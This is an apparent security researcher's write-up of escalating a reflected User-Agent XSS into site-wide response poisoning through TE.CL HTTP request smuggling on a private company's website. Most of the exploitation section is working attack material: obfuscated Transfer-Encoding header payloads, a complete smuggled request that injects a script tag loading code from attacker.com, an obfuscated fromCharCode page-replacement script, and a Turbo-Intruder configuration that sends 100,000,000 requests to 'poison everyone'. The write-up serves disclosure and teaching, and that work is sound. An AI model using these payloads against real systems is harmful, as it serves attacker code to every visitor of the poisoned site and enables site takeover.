Even though HTTP Request Smuggling is documented back on 2005, it is still one of the least known Webapp vulnerability out there.
After a little break I decided to hunt a private company (which is not eligible for Bug Bounty, but still accepting reports) and what I found might be worth sharing.
Reflected XSS in User-Agent Header
I have developed my own smart XSS fuzzing (which might be soon published) which tests both URL Endpoints and HTTP Headers. Luckily it found that User-Agent is being reflected. We can confirm it by manually send a request with Burp Suite:
We got XSS, nothing new and interesting by far. Mostly Private Programs don’t accept this bug as in real cases, you can’t send special-crafted HTTP request to an end user. Let’s try to escalate this innocent-looking XSS into something more spicy.
Recon and Detecting HTTP Request Smuggling
Burp Suite has a built-in Extension for this type of vulnerability, and it does test any kind of Smuggling while I do enumerating.
Now let’s perform automatic scans, go to Repeater, right click and click on Launch Smuggle probe.
If HTTP Smuggling vulnerability is detected, it will be issued on Target tab (it might take some minutes to perform the scans in the background)
TE.CL Exploit Development
Before we craft our special-request in Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked, this way our Content-Length value doesn’t automatically change by Burp Suite, this is a crucial part on this kind of exploitation.
Before doing any further, there are some simple rules to follow during the calculation of Content-Length:
1 2 3 4 5 6 Content-Length = body length \r\n = 2 bytes whitespace = 1 byte 1 character = 1 byte each column ends with \r\n (so it means the number of the characters + 2) 0 and the following 2 newlines are counted as 5 bytes
Below is our crafted payload. Keep in mind that the 2 headers (Transfer-Encoding, and Connection) must be always included. The first chunk (A x 1000) is going to be requested to the front-end server, it contains nothing malicious because it is just a regular request as an ordinary user would do. The reason why Content-length is 1011 (in the photo below is 1005, oops…), is because: (3e8 + \r\n) + (1000*A + \r\n) + (b0 + \r\n). Which means (3 + 2) + (1000 + 2) + (2 + 2) = 1011 bytes. Note: b0 is still considered a part of the first request even though it defines the length of the smuggled request.
So to sum it up:
3e8\r\n -> 5 bytes
AA…AAA\r\n -> 1002 bytes
b0\r\n -> 4 bytes
The second chunk of data is our smuggled request, if successful, we should get Error 404 requests as there is no directory /404hopefully on the website. After the second chunk, is mandatory to add x=1 or bunch of random data and two newlines after 0.
1 2 0\r\n \r\n
Send this request to Turbo-Intruder and if we get any 404 Request, it means that our Special-Crafted request is sent to Back-End server.
Suffix Space Bypass - Obfuscating TE Header
We have to obfuscate the TE header, because one of the servers can be induced not to process it. This technique works on quite a few systems, but we can exploit many more by making the Transfer-Encoding header slightly harder to spot, so that one system doesn’t see it. Here are some payloads by James Kettle:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked
I used the whitespace as a bypass method.
Poisoning response and website takeover
I have created a python script which does craft the request automatically, making it ready to perform attack. It does the calculation of TE Chunk and Content-Length also. You can check it out here:
Note: I slightly edited the script by adding the follow line, so we can inject our XSS in User-Agent header:
1 prefix += 'User-Agent: "><script src=http://attacker.com/script.js></script>' + RN
We run the script and enter the required information:
There is no reason to add 1000^A in our request, but I added it just to make it cooler and to better understand the behaviour of Smuggled Request:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 GET / HTTP/1.1 Transfer-Encoding : chunked Host: private.website Content-length: 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded 3e8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 83 GET / HTTP/1.1 Host: private.website User-Agent: “><script src=http://attacker.com/script.js></script> Content-Length: 15 x=1 0
Inside script.js is a simple code which generates a HTML website as a POC (kinda servers as a DOM XSS):
1 document.documentElement.innerHTML=String.fromCharCode(60, 104, 116, 109, 108, 62, 10, 60, 104, 49, 62, 85, 115, 101, 114, 39, 115, 32, 114, 101, 115, 112, 111, 110, 115, 101, 32, 105, 115, 32, 112, 111, 105, 115, 111, 110, 101, 100, 32, 119, 105, 116, 104, 32, 72, 84, 84, 80, 32, 82, 101, 113, 117, 101, 115, 116, 32, 83, 109, 117, 103, 103, 108, 105, 110, 103, 32, 97, 110, 100, 32, 88, 83, 83, 60, 47, 104, 49, 62, 10, 60, 47, 104, 116, 109, 108, 62, 10)
Here is our setup.txt which contains the configuration part of Turbo-Intruder:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #credits to https://hipotermia.pw/bb/http-desync-account-takeover def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=20, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0 ) engine.start() attack = target.req engine.queue(attack) victim = target.req for i in range(100000000): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req)
There is nothing much left to do, so fire up Turbo-Intruder and poison everyone:
1 java -jar turbo-intruder-all.jar setup.txt request.txt https://www.target.com/ /